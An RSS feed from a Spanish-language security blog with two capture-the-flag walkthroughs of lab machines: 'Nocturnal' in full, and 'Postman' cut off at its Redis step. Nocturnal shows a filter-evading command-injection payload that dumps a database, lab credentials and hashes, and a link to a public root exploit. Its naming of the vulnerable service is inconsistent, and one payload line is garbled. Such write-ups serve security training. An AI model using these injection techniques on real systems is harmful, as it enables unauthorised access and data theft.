<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Internal Service on</title><link>https://synacklabs.github.io/tags/internal-service/</link><description>Recent content in Internal Service on</description><generator>Hugo -- gohugo.io</generator><language>es-es</language><lastBuildDate>Sun, 25 Jan 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://synacklabs.github.io/tags/internal-service/index.xml" rel="self" type="application/rss+xml"/><managingEditor>admin@synacklabs.github.io (SynAckLabs)</managingEditor><webMaster>admin@synacklabs.github.io (SynAckLabs)</webMaster><item><title>Nocturnal (Easy)</title><link>https://synacklabs.github.io/posts/nocturnal/</link><pubDate>Sun, 25 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/nocturnal/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;La máquina comienza con un servicio web que permite la subida de archivos. Mediante fuzzing de usuarios, localizo un archivo perteneciente al usuario &lt;code&gt;amanda&lt;/code&gt; que contiene credenciales. Con ellas accedo a un panel de administración vulnerable a &lt;strong&gt;RCE&lt;/strong&gt; (Remote Code Execution) mediante inyección de caracteres especiales (Newlines y Tabs) para evadir filtros. Exfiltro la base de datos, obtengo hashes y logro acceder por SSH como &lt;code&gt;tobias&lt;/code&gt;. Finalmente, escalo privilegios identificando un servicio interno en el puerto 8080 (Gogs), el cual exploto mediante &lt;strong&gt;CVE-2023-46818&lt;/strong&gt; para obtener ejecución de código como root.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;La máquina comienza con un servicio web que permite la subida de archivos. Mediante fuzzing de usuarios, localizo un archivo perteneciente al usuario &lt;code&gt;amanda&lt;/code&gt; que contiene credenciales. Con ellas accedo a un panel de administración vulnerable a &lt;strong&gt;RCE&lt;/strong&gt; (Remote Code Execution) mediante inyección de caracteres especiales (Newlines y Tabs) para evadir filtros. Exfiltro la base de datos, obtengo hashes y logro acceder por SSH como &lt;code&gt;tobias&lt;/code&gt;. Finalmente, escalo privilegios identificando un servicio interno en el puerto 8080 (Gogs), el cual exploto mediante &lt;strong&gt;CVE-2023-46818&lt;/strong&gt; para obtener ejecución de código como root.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-809e-a5dd-f209e9c537c8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="escaneo-y-reconocimiento"&gt;Escaneo y Reconocimiento&lt;/h2&gt;
&lt;p&gt;Inicio con un escaneo de puertos para identificar la superficie de ataque.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx &lt;span style="color:#ae81ff"&gt;1.18&lt;/span&gt;.0 (Ubuntu)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Did not follow redirect to http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//nocturnal.htb/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enumeración-web-puerto-80"&gt;Enumeración Web (Puerto 80)&lt;/h3&gt;
&lt;p&gt;El servidor redirige a &lt;code&gt;nocturnal.htb&lt;/code&gt;, por lo que añado el dominio a mi &lt;code&gt;/etc/hosts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8072-824a-d26bde2a9f9d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al acceder, encuentro un panel que permite subir archivos. Observo que los archivos subidos se almacenan en el servidor y la estructura de la URL o el endpoint parece depender del nombre de usuario. Esto sugiere una vulnerabilidad de &lt;strong&gt;IDOR&lt;/strong&gt; (Insecure Direct Object Reference) o enumeración de directorios.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8017-9df6-c471221e0fcf.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Realizo fuzzing sobre el campo de usuario para descubrir directorios de otros usuarios. Encuentro que el usuario &lt;code&gt;amanda&lt;/code&gt; tiene archivos almacenados.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8083-ad4c-fb4a6db88ae4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80ef-a4a1-c8e59c0f075e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Descargo y descomprimo un archivo encontrado en su directorio, lo que revela unas credenciales en texto claro.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;User:&lt;/strong&gt; amanda&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pass:&lt;/strong&gt; &lt;code&gt;arHkG7HAI68X8s1J&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80db-9d88-f2115014c2c9.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="acceso-inicial"&gt;Acceso Inicial&lt;/h2&gt;
&lt;h3 id="panel-de-administración-y-rce"&gt;Panel de Administración y RCE&lt;/h3&gt;
&lt;p&gt;Utilizo las credenciales de Amanda para loguearme en el panel de administración. En el dashboard (&lt;code&gt;dashboard.php&lt;/code&gt;), encuentro un archivo para realizar backups que solicita una contraseña.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80a2-8697-fac09038ef9d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-803f-83b2-e234299eb1de.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En ese campo igual hay un RCE.&lt;/p&gt;
&lt;p&gt;Descubro que hay un filtro de espacios, pero logro evadirlo utilizando tabuladores (&lt;code&gt;%09&lt;/code&gt;) y saltos de línea (&lt;code&gt;%0A&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/nbash/t-c/t&amp;quot;whoami&amp;quot;&lt;/code&gt; (interpretado como &lt;code&gt;\n bash \t -c \t &amp;quot;whoami&amp;quot;&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8095-9281-da298f64b4ea.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="exfiltración-de-base-de-datos"&gt;Exfiltración de Base de Datos&lt;/h3&gt;
&lt;p&gt;Aprovecho el RCE para volcar el contenido de la base de datos SQLite del servidor.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8022-97c8-e19b360e6f85.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload utilizado:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;%0Abash%09-c%09&amp;quot;sqlite3%09/var/www/nocturnal_database/nocturnal_database.db%09.dump&amp;quot;%0A&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;La respuesta me devuelve los registros de la tabla &lt;code&gt;users&lt;/code&gt; con hashes de contraseña&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INSERT INTO users VALUES(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;admin&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;d725aeba143f575736b07e045d8ceebb&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INSERT INTO users VALUES(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;amanda&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;df8b20aa0c935023f99ea58358fb63c4&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INSERT INTO users VALUES(&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;tobias&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;55c82b1ccd55ab219b3b109b07d5061d&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80f8-8e7a-efae1c3cc21d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Logro obtener la contraseña en texto claro para el usuario &lt;code&gt;tobias&lt;/code&gt;: &lt;code&gt;slowmotionapocalypse&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="movimiento-lateral-ssh"&gt;Movimiento Lateral (SSH)&lt;/h2&gt;
&lt;p&gt;Con las credenciales &lt;code&gt;tobias:slowmotionapocalypse&lt;/code&gt;, me conecto exitosamente mediante SSH.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80b2-86ad-df17d966e506.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Realizo una enumeración básica y confirmo que Tobias no tiene permisos de &lt;code&gt;sudo&lt;/code&gt;. Sin embargo, al revisar los puertos internos abiertos (&lt;code&gt;netstat&lt;/code&gt; o &lt;code&gt;ss&lt;/code&gt;), detecto un servicio corriendo en el puerto &lt;strong&gt;8080&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8055-a16e-e2a07ad14565.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="escalada-de-privilegios"&gt;Escalada de Privilegios&lt;/h2&gt;
&lt;h3 id="tunneling-y-enumeración-interna"&gt;Tunneling y Enumeración Interna&lt;/h3&gt;
&lt;p&gt;Para acceder al servicio interno, realizo un Local Port Forwarding (túnel SSH) hacia mi máquina atacante.&lt;/p&gt;
&lt;p&gt;Al acceder a &lt;code&gt;localhost:8080&lt;/code&gt;, encuentro un servicio web (aparentemente Gogs, basado en el exploit posterior). Pruebo reutilización de credenciales y logro acceder con &lt;code&gt;admin:slowmotionapocalypse&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80e7-b76e-fdd44077b2e0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8060-8a77-f7cde30214b6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Analizamos la versión.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-803a-b11a-d1faf5dfd6b9.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="explotación-de-cve-2023-46818"&gt;Explotación de CVE-2023-46818&lt;/h3&gt;
&lt;p&gt;Identifico que la versión del servicio es vulnerable a &lt;strong&gt;CVE-2023-46818&lt;/strong&gt;. Esta vulnerabilidad permite escalar privilegios o lograr ejecución de código a través de una inyección de argumentos en el manejo de hooks de git o configuraciones internas.&lt;/p&gt;
&lt;p&gt;Utilizo un exploit público en Python para atacar la instancia:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/bipbopbup/CVE-2023-46818-python-exploit"&gt;link_preview&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80dd-b56a-ccf462b9faff.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;A pesar de la inestabilidad del servidor, el exploit logra ejecutarse correctamente y me otorga una shell como &lt;strong&gt;root&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80cb-8c74-fe91b6468155.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Lo tenemos!&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80ae-aa8c-e24eb88b8fcb.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Postman (Easy)</title><link>https://synacklabs.github.io/posts/postman/</link><pubDate>Fri, 23 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/postman/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina Linux presenta varios servicios expuestos, destacando Redis y Webmin. El punto de entrada se logra abusando de una mala configuración en &lt;strong&gt;Redis&lt;/strong&gt; que permite escribir una clave SSH pública en el servidor, obteniendo acceso como el usuario &lt;code&gt;redis&lt;/code&gt;. Tras enumerar el sistema, encuentro una clave SSH encriptada perteneciente al usuario &lt;code&gt;Matt&lt;/code&gt;. Craqueo la contraseña de esta clave pero, debido a restricciones de SSH, debo usar &lt;code&gt;su&lt;/code&gt; para pivotar lateralmente. Finalmente, aprovecho las credenciales de Matt para acceder a &lt;strong&gt;Webmin&lt;/strong&gt; y exploto una vulnerabilidad de Ejecución Remota de Comandos (RCE) autenticada para escalar a &lt;strong&gt;root&lt;/strong&gt;&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina Linux presenta varios servicios expuestos, destacando Redis y Webmin. El punto de entrada se logra abusando de una mala configuración en &lt;strong&gt;Redis&lt;/strong&gt; que permite escribir una clave SSH pública en el servidor, obteniendo acceso como el usuario &lt;code&gt;redis&lt;/code&gt;. Tras enumerar el sistema, encuentro una clave SSH encriptada perteneciente al usuario &lt;code&gt;Matt&lt;/code&gt;. Craqueo la contraseña de esta clave pero, debido a restricciones de SSH, debo usar &lt;code&gt;su&lt;/code&gt; para pivotar lateralmente. Finalmente, aprovecho las credenciales de Matt para acceder a &lt;strong&gt;Webmin&lt;/strong&gt; y exploto una vulnerabilidad de Ejecución Remota de Comandos (RCE) autenticada para escalar a &lt;strong&gt;root&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-802c-a8e9-fb71c23a9deb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración"&gt;Enumeración&lt;/h2&gt;
&lt;p&gt;Inicio con un escaneo de puertos para identificar la superficie de ataque.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;46&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;83&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4f&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;61&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;1c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;74&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;cb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;68&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;77&lt;/span&gt; (RSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDem1MnCQG+yciWyLak5YeSzxh4HxjCgxKVfNc1LN+vE1OecEx+cu0bTD5xdQJmyKEkpZ+AVjhQo/esF09a94eMNKcp+bhK1g3wqzLyr6kwE0wTncuKD2bA9LCKOcM6W5GpHKUywB5A/TMPJ7UXeygHseFUZEa+yAYlhFKTt6QTmkLs64sqCna+D/cvtKaB4O9C+DNv5/W66caIaS/B/lPeqLiRoX1ad/GMacLFzqCwgaYeZ9YBnwIstsDcvK9+kCaUE7g2vdQ7JtnX0+kVlIXRi0WXta+BhWuGFWtOV0NYM9IDRkGjSXA4qOyUOBklwvienPt1x2jBrjV8v3p78Tzz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;27&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;df&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;15&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;1a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;31&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;05&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;fb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ff&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;62&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;89&lt;/span&gt; (ECDSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIRgCn2sRihplwq7a2XuFsHzC9hW+qA/QsZif9QKAEBiUK6jv/B+UxDiPJiQp3KZ3tX6Arff/FC0NXK27c3EppI=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; ca&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;7c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;82&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;aa&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;5a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d3&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;72&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ca&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;8b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;8a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;3a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;41&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;45&lt;/span&gt; (ED25519)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3FKsLVdJ5BN8bLpf80Gw89+4wUslxhI3wYfnS+53Xd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; Apache httpd &lt;span style="color:#ae81ff"&gt;2.4&lt;/span&gt;.29 ((Ubuntu))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-favicon: Unknown favicon MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; E234E3E8040EFB1ACD7028330A956EBF
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; GET POST OPTIONS HEAD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Apache/&lt;span style="color:#ae81ff"&gt;2.4&lt;/span&gt;.29 (Ubuntu)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: The Cyber Geek&lt;span style="color:#e6db74"&gt;&amp;#39;s Personal Website
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;6379/tcp open redis syn-ack ttl 63 Redis key-value store 4.0.9
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;10000/tcp open http syn-ack ttl 63 MiniServ 1.910 (Webmin httpd)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;|_ Supported Methods: GET HEAD POST OPTIONS
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;|_http-favicon: Unknown favicon MD5: 066AF1F6A59FCB67495B545A6B81F371
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;|_http-title: Site doesn&amp;#39;&lt;/span&gt;t have a title (text/html; Charset=iso-&lt;span style="color:#ae81ff"&gt;8859&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;).
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enumeración-web-puertos-80-y-10000"&gt;&lt;strong&gt;Enumeración Web (Puertos 80 y 10000)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Puerto 80:&lt;/strong&gt; Muestra &amp;ldquo;The Cyber Geek&amp;rsquo;s Personal Website&amp;rdquo;, una página en construcción que no revela información útil tras el fuzzing&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-802f-a9bf-d8fa984dbcb4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Puerto 10000 (Webmin):&lt;/strong&gt; Encuentro un panel de administración Webmin versión 1.910. Existe un exploit conocido para esta versión, pero requiere autenticación previa, por lo que lo reservo para más adelante.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-8067-b086-f4d5271de745.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/KentVolt/Webmin-1.910-Exploit/blob/master/Webmin%201.910%20-%20Remote%20Code%20Execution%20using%20BurpSuite"&gt;https://github.com/KentVolt/Webmin-1.910-Exploit/blob/master/Webmin 1.910 - Remote Code Execution using BurpSuite&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="acceso-inicial-redis"&gt;Acceso Inicial: Redis&lt;/h2&gt;
&lt;h3 id="enumeración-de-redis-puerto-6379"&gt;Enumeración de Redis (Puerto 6379)&lt;/h3&gt;
&lt;p&gt;Al conectarme al servicio Redis, descubro que no requiere autenticación (&lt;code&gt;config get requirepass&lt;/code&gt; está vacío). Esto me permite ejecutar comandos de configuración críticos.&lt;/p&gt;
&lt;p&gt;El servidor corre con permisos que le permiten escribir en disco. Verifico la configuración del directorio de trabajo y confirmo que puedo cambiarlo:&lt;/p&gt;
